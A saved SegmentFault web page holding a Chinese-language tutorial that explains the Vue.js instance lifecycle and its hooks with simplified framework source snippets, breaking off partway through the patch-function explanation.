.katex .sizing.reset-size10.size3,
.katex .fontsize-ensurer.reset-size10.size3 {
  font-size: 0.33751205em;
}
.katex .sizing.reset-size10.size4,
.katex .fontsize-ensurer.reset-size10.size4 {
  font-size: 0.38572806em;
}
.katex .sizing.reset-size10.size5,
.katex .fontsize-ensurer.reset-size10.size5 {
  font-size: 0.43394407em;
}
.katex .sizing.reset-size10.size6,
.katex .fontsize-ensurer.reset-size10.size6 {
  font-size: 0.48216008em;
}
.katex .sizing.reset-size10.size7,
.katex .fontsize-ensurer.reset-size10.size7 {
  font-size: 0.57859209em;
}
.katex .sizing.reset-size10.size8,
.katex .fontsize-ensurer.reset-size10.size8 {
  font-size: 0.69431051em;
}
.katex .sizing.reset-size10.size9,
.katex .fontsize-ensurer.reset-size10.size9 {
  font-size: 0.83317261em;
}
.katex .sizing.reset-size10.size10,
.katex .fontsize-ensurer.reset-size10.size10 {
  font-size: 1em;
}
.katex .sizing.reset-size10.size11,
.katex .fontsize-ensurer.reset-size10.size11 {
  font-size: 1.19961427em;
}
.katex .sizing.reset-size11.size1,
.katex .fontsize-ensurer.reset-size11.size1 {
  font-size: 0.20096463em;
}
.katex .sizing.reset-size11.size2,
.katex .fontsize-ensurer.reset-size11.size2 {
  font-size: 0.24115756em;
}
.katex .sizing.reset-size11.size3,
.katex .fontsize-ensurer.reset-size11.size3 {
  font-size: 0.28135048em;
}
.katex .sizing.reset-size11.size4,
.katex .fontsize-ensurer.reset-size11.size4 {
  font-size: 0.32154341em;
}
.katex .sizing.reset-size11.size5,
.katex .fontsize-ensurer.reset-size11.size5 {
  font-size: 0.36173633em;
}
.katex .sizing.reset-size11.size6,
.katex .fontsize-ensurer.reset-size11.size6 {
  font-size: 0.40192926em;
}
.katex .sizing.reset-size11.size7,
.katex .fontsize-ensurer.reset-size11.size7 {
  font-size: 0.48231511em;
}
.katex .sizing.reset-size11.size8,
.katex .fontsize-ensurer.reset-size11.size8 {
  font-size: 0.57877814em;
}
.katex .sizing.reset-size11.size9,
.katex .fontsize-ensurer.reset-size11.size9 {
  font-size: 0.69453376em;
}
.katex .sizing.reset-size11.size10,
.katex .fontsize-ensurer.reset-size11.size10 {
  font-size: 0.83360129em;
}
.katex .sizing.reset-size11.size11,
.katex .fontsize-ensurer.reset-size11.size11 {
  font-size: 1em;
}
.katex .delimsizing.size1 {
  font-family: KaTeX_Size1;
}
.katex .delimsizing.size2 {
  font-family: KaTeX_Size2;
}
.katex .delimsizing.size3 {
  font-family: KaTeX_Size3;
}
.katex .delimsizing.size4 {
  font-family: KaTeX_Size4;
}
.katex .delimsizing.mult .delim-size1 > span {
  font-family: KaTeX_Size1;
}
.katex .delimsizing.mult .delim-size4 > span {
  font-family: KaTeX_Size4;
}
.katex .nulldelimiter {
  display: inline-block;
  width: 0.12em;
}
.katex .delimcenter {
  position: relative;
}
.katex .op-symbol {
  position: relative;
}
.katex .op-symbol.small-op {
  font-family: KaTeX_Size1;
}
.katex .op-symbol.large-op {
  font-family: KaTeX_Size2;
}
.katex .op-limits > .vlist-t {
  text-align: center;
}
.katex .accent > .vlist-t {
  text-align: center;
}
.katex .accent .accent-body {
  position: relative;
}
.katex .accent .accent-body:not(.accent-full) {
  width: 0;
}
.katex .overlay {
  display: block;
}
.katex .mtable .vertical-separator {
  display: inline-block;
  min-width: 1px;
}
.katex .mtable .arraycolsep {
  display: inline-block;
}
.katex .mtable .col-align-c > .vlist-t {
  text-align: center;
}
.katex .mtable .col-align-l > .vlist-t {
  text-align: left;
}
.katex .mtable .col-align-r > .vlist-t {
  text-align: right;
}
.katex .svg-align {
  text-align: left;
}
.katex svg {
  display: block;
  position: absolute;
  width: 100%;
  height: inherit;
  fill: currentColor;
  stroke: currentColor;
  fill-rule: nonzero;
  fill-opacity: 1;
  stroke-width: 1;
  stroke-linecap: butt;
  stroke-linejoin: miter;
  stroke-miterlimit: 4;
  stroke-dasharray: none;
  stroke-dashoffset: 0;
  stroke-opacity: 1;
}
.katex svg path {
  stroke: none;
}
.katex img {
  border-style: none;
  min-width: 0;
  min-height: 0;
  max-width: none;
  max-height: none;
}
.katex .stretchy {
  width: 100%;
  display: block;
  position: relative;
  overflow: hidden;
}
.katex .stretchy::before,
.katex .stretchy::after {
  content: "";
}
.katex .hide-tail {
  width: 100%;
  position: relative;
  overflow: hidden;
}
.katex .halfarrow-left {
  position: absolute;
  left: 0;
  width: 50.2%;
  overflow: hidden;
}
.katex .halfarrow-right {
  position: absolute;
  right: 0;
  width: 50.2%;
  overflow: hidden;
}
.katex .brace-left {
  position: absolute;
  left: 0;
  width: 25.1%;
  overflow: hidden;
}
.katex .brace-center {
  position: absolute;
  left: 25%;
  width: 50%;
  overflow: hidden;
}
.katex .brace-right {
  position: absolute;
  right: 0;
  width: 25.1%;
  overflow: hidden;
}
.katex .x-arrow-pad {
  padding: 0 0.5em;
}
.katex .x-arrow,
.katex .mover,
.katex .munder {
  text-align: center;
}
.katex .boxpad {
  padding: 0 0.3em 0 0.3em;
}
.katex .fbox,
.katex .fcolorbox {
  box-sizing: border-box;
  border: 0.04em solid;
}
.katex .cancel-pad {
  padding: 0 0.2em 0 0.2em;
}
.katex .cancel-lap {
  margin-left: -0.2em;
  margin-right: -0.2em;
}
.katex .sout {
  border-bottom-style: solid;
  border-bottom-width: 0.08em;
}
.katex-display {
  display: block;
  margin: 1em 0;
  text-align: center;
}
.katex-display > .katex {
  display: block;
  text-align: center;
  white-space: nowrap;
}
.katex-display > .katex > .katex-html {
  display: block;
  position: relative;
}
.katex-display > .katex > .katex-html > .tag {
  position: absolute;
  right: 0;
}
.katex-display.leqno > .katex > .katex-html > .tag {
  left: 0;
  right: auto;
}
.katex-display.fleqn > .katex {
  text-align: left;
  padding-left: 2em;
}
</style><script charset="UTF-8" async="" src="./Vue 生命周期详解 - SegmentFault 思否_files/gettype.php"></script><script charset="UTF-8" async="" crossorigin="anonymous" src="./Vue 生命周期详解 - SegmentFault 思否_files/fullpage.9.0.5.js.下载"></script><script charset="UTF-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/get.php"></script><link href="./Vue 生命周期详解 - SegmentFault 思否_files/style_https.1.5.8.css" rel="stylesheet"><script charset="UTF-8" async="" src="./Vue 生命周期详解 - SegmentFault 思否_files/gettype(1).php"></script><script charset="UTF-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/get(1).php"></script><link href="./Vue 生命周期详解 - SegmentFault 思否_files/style_https.1.5.8.css" rel="stylesheet"><script charset="UTF-8" async="" src="./Vue 生命周期详解 - SegmentFault 思否_files/gettype(2).php"></script><script charset="UTF-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/get(2).php"></script><link href="./Vue 生命周期详解 - SegmentFault 思否_files/style_https.1.5.8.css" rel="stylesheet"><script charset="UTF-8" async="" src="./Vue 生命周期详解 - SegmentFault 思否_files/gettype(3).php"></script><script charset="UTF-8" src="./Vue 生命周期详解 - SegmentFault 思否_files/get(3).php"></script><link href="./Vue 生命周期详解 - SegmentFault 思否_files/style_https.1.5.8.css" rel="stylesheet"></head>
  <body class="" style="">
    <div id="root"><style></style><div class="d-none d-lg-block text-center"><div id="OA_holder_5" class="ad-container" style="display:none"><div id="beacon_01682a215c" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/lg.php" width="0" height="0" alt="" style="width: 0px; height: 0px;"></div>
</div></div><div id="root-top-container"></div><nav id="sf-header" class="bg-white shadow-sm sticky-top navbar navbar-expand-lg navbar-light" style=""><div class="position-relative container"><div class="left-wrap d-flex justify-content-center"><a href="https://segmentfault.com/" class="navbar-brand"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/logo-b.d865fc97.svg" width="139" height="26" class="d-inline-block" alt="segmentfault"></a></div><a class="btn btn-primary d-lg-none ml-auto mr-2" href="https://segmentfault.com/user/login">注册登录</a><button aria-controls="basic-navbar-nav" type="button" aria-label="Toggle navigation" class="navbar-toggler collapsed" style=""><span class="navbar-toggler-icon"></span></button><div class="justify-content-between navbar-collapse collapse" id="basic-navbar-nav"><div class="font-weight-bold navbar-nav"><a href="https://segmentfault.com/" data-rb-event-key="/" class="nav-link">首页</a><a href="https://segmentfault.com/questions" data-rb-event-key="/questions" class="nav-link">问答</a><a href="https://segmentfault.com/blogs" data-rb-event-key="/blogs" class="nav-link">专栏</a><a href="https://ke.segmentfault.com/" target="_blank" rel="noreferrer" class="nav-link">课程<i class="ml-1 text-danger fas fa-fire-alt" style="width:0.88rem;vertical-align:text-bottom"></i></a><a href="https://segmentfault.com/events" data-rb-event-key="/events" class="nav-link">活动</a><div class="hover-down  nav-item dropdown"><a aria-haspopup="true" aria-expanded="false" id="basic-nav-dropdown" href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest#" class="dropdown-toggle nav-link" role="button">发现</a></div></div><form action="https://segmentfault.com/search" class="d-none d-xl-block px-3 header-search___28AtS form-inline"><input type="text" name="q" placeholder="搜索关键字" aria-label="搜索" class="mr-sm-2 w-100 form-control"></form><nav class="p-0 navbar navbar-expand navbar-light"><div class="d-none d-lg-flex mr-2 mr-md-0 nav-item"><a href="https://segmentfault.com/user/login" class="btn btn-primary">注册登录</a></div></nav></div></div></nav><div class="d-none d-xl-flex justify-content-center"><div id="OA_holder_2" class="ad-container" style="display:block"><div id="beacon_83f513174a" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/lg(1).php" width="0" height="0" alt="" style="width: 0px; height: 0px;"></div>
</div></div><div class="article-content container"><nav aria-label="breadcrumb" class="font-size-14 px-0 my-0 mx-4 mx-md-0"><ol class="breadcrumb bg-transparent"><li class="breadcrumb-item"><a href="https://segmentfault.com/">首页</a></li><li class="breadcrumb-item"><a href="https://segmentfault.com/blogs">专栏</a></li><li class="breadcrumb-item"><a href="https://segmentfault.com/t/javascript/blogs">javascript</a></li><li class="breadcrumb-item active" aria-current="page">文章详情</li></ol></nav><div class="row"><div class="col-12 col-xl w-0 col"><div class="sticky-wrap sticky-top functional-area-left d-none d-xl-flex justify-content-center pt-5 functional-area-left2" style=""><div role="group" class="align-items-center btn-group-vertical"><button aria-label="点赞" type="button" class="func-btn mainLike  sflex-center shadow-sm rounded-circle main-lg-Like mb-3 btn btn-outline-primary"><i class="far fa-thumbs-up"></i><span class="mainLikeNum ">28</span></button><button aria-label="收藏" type="button" class="func-btn sflex-center rounded-circle mb-2 btn btn-outline-secondary"><i class="far fa-bookmark"></i></button><a class="func-btn sflex-center btn btn-outline-secondary rounded-circle mb-2" href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest#comment-area" aria-label="评论"><i class="far fa-comment-alt-lines"></i></a><div class="dropdown"><a href="https://segmentfault.com/a/1190000020173042?utm_source=tag-newest###" class="func-btn nav-tab-item  rounded-pill btn btn-outline-secondary sflex-center rounded-circle dropdown-toggle" aria-label="分享"><i class="far fa-share-alt"></i></a></div></div></div><canvas hidden="" class="qrcode" height="132" width="132" style="height: 132px; width: 132px;"></canvas><div class="mb-4 card"><div class="p-lg-30 position-relative card-body"><h1 class="h2 mb-3"><a href="https://segmentfault.com/a/1190000020173042" class="text-body">Vue 生命周期详解</a></h1><div class="d-flex align-items-center justify-content-between flex-wrap mb-4"><div class="d-flex align-items-center"><a href="https://segmentfault.com/u/zongjie" class="d-flex align-items-center"><picture class="mr-2 d-sm-block d-none"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/1109718111-5c8bc6eb009f2_huge128" alt="" class="d-inline-block rounded-circle" width="32"></picture><strong class="align-self-center font-size-14">宗介</strong></a><time class="text-secondary font-size-14" datetime="2019-08-24T06:33:13.000Z" itemprop="datePublished" style="margin-left:12px">发布于 <!-- -->2019-08-24 </time></div></div><div id="OA_holder_25" class="ad-container" style="display:block"><div id="beacon_c0765b4e41" style="position: absolute; left: 0px; top: 0px; visibility: hidden;"><img src="./Vue 生命周期详解 - SegmentFault 思否_files/lg(2).php" width="0" height="0" alt="" style="width: 0px; height: 0px;"></div>
</div><article class="article fmt article-content ">
<h2 id="item-1">Vue 生命周期详解</h2>
<h3 id="item-1-1">Vue 生命周期流程</h3>
<p>最开始，用户使用 new Vue() 创建根 Vue 实例，或者 Vue 实例化子组件都会调用<code>_init</code>方法（<strong>我们将这两种实例都称为<code>vm</code></strong>）：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="function Vue(options) {        //Vue 构造函数
    ...
    this._init(options)
}
...
const Sub = function (options) {  // 定义子组件构造函数
    this._init(options)
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-keyword">function</span> <span class="hljs-constructor">Vue(<span class="hljs-params">options</span>)</span> {        <span class="hljs-comment">//Vue 构造函数</span><span class="hljs-operator">
    ...
    </span>this.<span class="hljs-constructor">_init(<span class="hljs-params">options</span>)</span>
}<span class="hljs-operator">
...
</span>const Sub = <span class="hljs-keyword">function</span> (options) {  <span class="hljs-comment">// 定义子组件构造函数</span>
    this.<span class="hljs-constructor">_init(<span class="hljs-params">options</span>)</span>
}</code></pre>
<p><code>vm</code>实例化时会调用原型方法<code>this._init</code>方法进行初始化：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="Vue.prototype._init = function(options) {
    vm.$options = mergeOptions(  // 合并options
        resolveConstructorOptions(vm.constructor),
        options || {},
        vm
    )
    ...
    initLifecycle(vm) // 开始一系列的初始化
    initEvents(vm)
    initRender(vm)
    callHook(vm, &#39;beforeCreate&#39;)        //执行 beforeCreate 钩子
    initInjections(vm)
    initState(vm)
    initProvide(vm)
    callHook(vm, &#39;created&#39;)                    //执行 created 钩子
    ...
    if (vm.$options.el) {
        vm.$mount(vm.$options.el)
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs vim"><code>Vue.prototype._init = <span class="hljs-function"><span class="hljs-keyword">function</span><span class="hljs-params">(options)</span> {</span>
    <span class="hljs-keyword">vm</span>.$<span class="hljs-keyword">options</span> = mergeOptions(  // 合并<span class="hljs-keyword">options</span>
        resolveConstructorOptions(<span class="hljs-keyword">vm</span>.constructor),
        <span class="hljs-keyword">options</span> || {},
        <span class="hljs-keyword">vm</span>
    )
    ...
    initLifecycle(<span class="hljs-keyword">vm</span>) // 开始一系列的初始化
    initEvents(<span class="hljs-keyword">vm</span>)
    initRender(<span class="hljs-keyword">vm</span>)
    callHook(<span class="hljs-keyword">vm</span>, <span class="hljs-string">'beforeCreate'</span>)        //执行 beforeCreate 钩子
    initInjections(<span class="hljs-keyword">vm</span>)
    initState(<span class="hljs-keyword">vm</span>)
    initProvide(<span class="hljs-keyword">vm</span>)
    callHook(<span class="hljs-keyword">vm</span>, <span class="hljs-string">'created'</span>)                    //执行 created 钩子
    ...
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">vm</span>.$<span class="hljs-keyword">options</span>.<span class="hljs-keyword">el</span>) {
        <span class="hljs-keyword">vm</span>.$mount(<span class="hljs-keyword">vm</span>.$<span class="hljs-keyword">options</span>.<span class="hljs-keyword">el</span>)
    }
}</code></pre>
<h4>beforeCreate</h4>
<p>首先，将用户提供的<code>options</code>对象，父组件定义在子组件上的<code>event</code>、<code>props</code>(子组件实例化时)，<code>vm</code>原型方法，和<code>Vue</code>构造函数内置的选项合并成一个新的<code>options</code>对象，赋值给<code>vm.$options</code>。<br>接下来，执行 3 个初始化方法：</p>
<ol>
<li>initLifecycle(vm): 主要作用是确认组件的父子关系和初始化某些实例属性。找到父组件实例赋值给<code>vm.$parent</code>，将自己<code>push</code>给父组件的<code>$children</code>；</li>
<li>initEvents(vm): 主要作用是将父组件使用<code>v-on</code>或<code>@</code>注册的自定义事件添加到子组件的私有属性<code>vm._events</code>中；</li>
<li>initRender(vm): 主要作用是初始化用来将<code>render</code>函数转为<code>vnode</code>的两个方法<code>vm._c</code> 和<code>vm.$createElement</code>。用户自定义的<code>render</code>函数的参数<code>h</code>就是<code>vm.$createElement</code>方法，它可以返回<code>vnode</code>。等以上操作全部完成，就会执行<code>beforeCreate</code>钩子函数，此时用户可以在函数中通过<code>this</code>访问到<code>vm.$parent</code>和<code>vm.$createElement</code>等有限的属性和方法。</li>
</ol>
<h4>created</h4>
<p>接下来会继续执行 3 个初始化方法：</p>
<ol>
<li>initInjections(vm): 初始化<code>inject</code>，使得<code>vm</code>可以访问到对应的依赖；</li>
<li>initState(vm): 初始化会被使用到的状态，状态包括<code>props</code>，<code>methods</code>，<code>data</code>，<code>computed</code>，<code>watch</code>五个选项。调用相应的<code>init</code>方法，使用<code>vm.$options</code>中提供的选项对这些状态进行初始化，其中<code>initData</code>方法会调用<code>observe(data, true)</code>，实现对<code>data</code>中属性的监听，实际上是使用<code>Object.defineProperty</code>方法定义属性的<code>getter</code>和<code>setter</code>方法；</li>
<li>initProvide(vm)：初始化<code>provide</code>，使得<code>vm</code>可以为子组件提供依赖。</li>
</ol>
<p>这 3 个初始化方法先初始化<code>inject</code>，然后初始化<code>props/data</code>状态，最后初始化<code>provide</code>，这样做的目的是可以在<code>props/data</code>中使用<code>inject</code>内所注入的内容。<br>等以上操作全部完成，就会执行<code>created</code>钩子函数，此时用户可以在函数中通过<code>this</code>访问到<code>vm</code>中的<code>props</code>，<code>methods</code>，<code>data</code>，<code>computed</code>，<code>watch</code>和<code>inject</code>等大部分属性和方法。</p>
<h4>beforeMount</h4>
<p>如果用户在创建根 Vue 实例时提供了<code>el</code>选项，那么在实例化时会直接调用<code>vm.$mount</code>方法开始挂载：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="if (vm.$options.el) {
    vm.$mount(vm.$options.el)
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs vim"><code><span class="hljs-keyword">if</span> (<span class="hljs-keyword">vm</span>.$<span class="hljs-keyword">options</span>.<span class="hljs-keyword">el</span>) {
    <span class="hljs-keyword">vm</span>.$mount(<span class="hljs-keyword">vm</span>.$<span class="hljs-keyword">options</span>.<span class="hljs-keyword">el</span>)
}</code></pre>
<p>如果未提供<code>el</code>选项，则需要用户手动调用<code>vm.$mount</code>方法开挂载。<code>vm.$mount</code>方法：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="运行时版本：
Vue.prototype.$mount = function(el) { // 最初的定义
    return mountComponent(this, query(el));
}
完整版：
const mount = Vue.prototype.$mount
Vue.prototype.$mount = function(el) {  // 拓展编译后的
    var options = this.$options;
    if(!options.render) {
        if(options.template) {
            ...                //一些判断
        } else if (el) {    //传入的 el 选项不为空
            options.template = getOuterHTML(el);
        }
        
        if (options.template) {
                options.render = compileToFunctions(template, ...).render    //将 template 编译成 render 函数
        }
    }
    ...
    return mount.call(this, query(el))    //即 Vue.prototype.$mount.call(this, query(el))
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code>运行时版本：
<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">Vue</span>.</span></span>prototype.$mount = <span class="hljs-keyword">function</span>(el) { <span class="hljs-comment">// 最初的定义</span>
    return mount<span class="hljs-constructor">Component(<span class="hljs-params">this</span>, <span class="hljs-params">query</span>(<span class="hljs-params">el</span>)</span>);
}
完整版：
const mount = <span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">Vue</span>.</span></span>prototype.$mount
<span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">Vue</span>.</span></span>prototype.$mount = <span class="hljs-keyword">function</span>(el) {  <span class="hljs-comment">// 拓展编译后的</span>
    var options = this.$options;
    <span class="hljs-keyword">if</span>(!options.render) {
        <span class="hljs-keyword">if</span>(options.template) {<span class="hljs-operator">
            ...                </span><span class="hljs-comment">//一些判断</span>
        } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (el) {    <span class="hljs-comment">//传入的 el 选项不为空</span>
            options.template = get<span class="hljs-constructor">OuterHTML(<span class="hljs-params">el</span>)</span>;
        }
        
        <span class="hljs-keyword">if</span> (options.template) {
                options.render = compile<span class="hljs-constructor">ToFunctions(<span class="hljs-params">template</span>, <span class="hljs-operator">...</span>)</span>.render    <span class="hljs-comment">//将 template 编译成 render 函数</span>
        }
    }<span class="hljs-operator">
    ...
    </span>return mount.call(this, query(el))    <span class="hljs-comment">//即 Vue.prototype.$mount.call(this, query(el))</span>
}</code></pre>
<p>在完整版的<code>vm.$mount</code>方法中，如果用户未提供<code>render</code>函数，就会将<code>template</code>或者<code>el.outerHTML</code>编译成<code>render</code>函数。<br>然后会执行<code>mountComponent</code>函数：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="export function mountComponent(vm, el) {
    vm.$el = el
    ...
    callHook(vm, &#39;beforeMount&#39;)
    ...
    const updateComponent = function () {
        vm._update(vm._render())    // 调用 render 函数生成 vnode，并挂载到 HTML中
    }
    ...
    if (vm.$vnode == null) {
        vm._isMounted = true;
        callHook(vm, &#39;mounted&#39;);
    }
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code>export <span class="hljs-keyword">function</span> mount<span class="hljs-constructor">Component(<span class="hljs-params">vm</span>, <span class="hljs-params">el</span>)</span> {
    vm.$el = el<span class="hljs-operator">
    ...
    </span>call<span class="hljs-constructor">Hook(<span class="hljs-params">vm</span>, '<span class="hljs-params">beforeMount</span>')</span><span class="hljs-operator">
    ...
    </span>const updateComponent = <span class="hljs-keyword">function</span> <span class="hljs-literal">()</span> {
        vm.<span class="hljs-constructor">_update(<span class="hljs-params">vm</span>.<span class="hljs-params">_render</span>()</span>)    <span class="hljs-comment">// 调用 render 函数生成 vnode，并挂载到 HTML中</span>
    }<span class="hljs-operator">
    ...
    </span><span class="hljs-keyword">if</span> (vm.$vnode<span class="hljs-operator"> == </span>null) {
        vm._isMounted = <span class="hljs-literal">true</span>;
        call<span class="hljs-constructor">Hook(<span class="hljs-params">vm</span>, '<span class="hljs-params">mounted</span>')</span>;
    }
}</code></pre>
<p>如果用户提供了<code>el</code>选项，则会获取用于挂载的真实节点，将此节点赋值给<code>vm.$el</code>属性。<br>等以上操作全部完成，就会执行<code>beforeMount</code>钩子函数，如果用户提供了<code>el</code>选项，此时在函数中可以通过<code>this</code>访问到<code>vm.$el</code>属性，此时它的值为<code>el</code>提供的真实节点。</p>
<h4>mounted</h4>
<p>在<code>mountComponent</code>方法中，会执行<code>vm._render</code>方法获取<code>vnode</code>：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="Vue.prototype._render = function() {
    const vm = this
    const { render } = vm.$options

    const vnode = render.call(vm, vm.$createElement)
    
    return vnode
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs vim"><code>Vue.prototype._render = <span class="hljs-function"><span class="hljs-keyword">function</span><span class="hljs-params">()</span> {</span>
    const <span class="hljs-keyword">vm</span> = this
    const { render } = <span class="hljs-keyword">vm</span>.$<span class="hljs-keyword">options</span>

    const vnode = render.<span class="hljs-keyword">call</span>(<span class="hljs-keyword">vm</span>, <span class="hljs-keyword">vm</span>.$createElement)
    
    <span class="hljs-keyword">return</span> vnode
}</code></pre>
<p>在<code>vm._render</code>方法中会调用<code>vm.$options.render</code>函数，传入实参<code>vm.$createElement</code>(对应声明<code>render</code>函数时的形参<code>h</code>)，得到返回结果<code>vnode</code>。<br>在执行一个如下的<code>render</code>函数的过程中：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="render(h) {
    return h(
        &quot;div&quot;,    //标签名
        [                //子节点数组
            [
                [h(&quot;h1&quot;, &quot;title h1&quot;)],    //子节点也是通过 h 函数生成 vnode 的
                [h(&#39;h2&#39;, &quot;title h2&quot;)]
            ],
            [
                h(obj, [                //子组件传入 obj 而不是标签名
                    h(&quot;p&quot;, &quot;paragraph&quot;)
                ])
            ]
        ]
    );
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs stata"><code>render(<span class="hljs-keyword">h</span>) {
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">h</span>(
        <span class="hljs-string">"div"</span>,    <span class="hljs-comment">//标签名</span>
        [                <span class="hljs-comment">//子节点数组</span>
            [
                [<span class="hljs-built_in">h</span>(<span class="hljs-string">"h1"</span>, <span class="hljs-string">"title h1"</span>)],    <span class="hljs-comment">//子节点也是通过 h 函数生成 vnode 的</span>
                [<span class="hljs-built_in">h</span>('h2', <span class="hljs-string">"title h2"</span>)]
            ],
            [
                <span class="hljs-built_in">h</span>(obj, [                <span class="hljs-comment">//子组件传入 obj 而不是标签名</span>
                    <span class="hljs-built_in">h</span>(<span class="hljs-string">"p"</span>, <span class="hljs-string">"paragraph"</span>)
                ])
            ]
        ]
    );
}</code></pre>
<p>执行<code>render</code>函数的过程就是递归调用<code>h</code>函数的过程，<code>h</code>函数会根据子组件的<code>options</code>选项对象生成一个<code>vnode</code>，以便之后将它转化为真实节点。</p>
<p>不管是根节点挂载时首次渲染，还是在数据改变后更新页面，都会调用<code>updateComponent</code>方法。<code>_render</code>方法返回的<code>vnode</code>是一个树形结构的<code>JavaScript</code>对象，接下来在<code>updateComponent</code>中会调用<code>_update</code>将这棵虚拟<code>DOM</code>树转化为真实的<code>DOM</code>树：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="const updateComponent = function () {
    vm._update(vm._render())    // 调用 render 函数生成 vnode，并挂载到 HTML中
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code>const updateComponent = <span class="hljs-keyword">function</span> <span class="hljs-literal">()</span> {
    vm.<span class="hljs-constructor">_update(<span class="hljs-params">vm</span>.<span class="hljs-params">_render</span>()</span>)    <span class="hljs-comment">// 调用 render 函数生成 vnode，并挂载到 HTML中</span>
}</code></pre>
<p>而<code>vm._update</code>方法会将<code>vm.__patch__</code>方法返回的真实<code>Dom</code>节点赋值给<code>vm.$el</code>：</p>
<div class="widget-codetool" style="display: none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="Vue.prototype._update = function(vnode) {
    ...
    if (!prevVnode) {
        // 首次渲染
        vm.$el = vm.__patch__(vm.$el, vnode, hydrating, false /* removeOnly */);
    } else {
        // 更新
        vm.$el = vm.__patch__(prevVnode, vnode);
    }
    ...
}" title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code><span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">Vue</span>.</span></span>prototype._update = <span class="hljs-keyword">function</span>(vnode) {<span class="hljs-operator">
    ...
    </span><span class="hljs-keyword">if</span> (!prevVnode) {
        <span class="hljs-comment">// 首次渲染</span>
        vm.$el = vm.<span class="hljs-constructor">__patch__(<span class="hljs-params">vm</span>.$<span class="hljs-params">el</span>, <span class="hljs-params">vnode</span>, <span class="hljs-params">hydrating</span>, <span class="hljs-params">false</span> <span class="hljs-operator">/</span><span class="hljs-operator">*</span> <span class="hljs-params">removeOnly</span> <span class="hljs-operator">*</span><span class="hljs-operator">/</span>)</span>;
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-comment">// 更新</span>
        vm.$el = vm.<span class="hljs-constructor">__patch__(<span class="hljs-params">prevVnode</span>, <span class="hljs-params">vnode</span>)</span>;
    }<span class="hljs-operator">
    ...
</span>}</code></pre>
<p>往<code>vm.__patch__</code>方法传入的参数<code>vm.$el</code>是之前在<code>mountComponent</code>方法中赋值的真实<code>Dom</code>元素，是挂载对象。<code>vm.__patch__</code>会生成并插入真实<code>Dom</code>：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="Vue.prototype.__patch__ = createPatchFunction({ nodeOps, modules }) " title="" data-original-title="复制"></button>
        </div>
        </div><pre class="hljs reasonml"><code style="word-break: break-word; white-space: initial;"><span class="hljs-module-access"><span class="hljs-module"><span class="hljs-identifier">Vue</span>.</span></span>prototype.__patch__ = create<span class="hljs-constructor">PatchFunction({ <span class="hljs-params">nodeOps</span>, <span class="hljs-params">modules</span> })</span> </code></pre>
<p><code>nodeOps</code>是一些操作原生<code>Dom</code>的方法的集合，<code>modules</code>是<code>class/attrs/style</code>等属性创建、更新、销毁时相应钩子方法的集合，而<code>createPatchFunction</code>函数返回了一个<code>patch</code>函数：</p>
<div class="widget-codetool" style="display:none;">
        <div class="widget-codetool--inner">
        <button type="button" class="btn btn-dark far fa-copy rounded-0 sflex-center copyCode" data-toggle="tooltip" data-placement="top" data-clipboard-text="export function createPatchFunction(backend) {
    ...
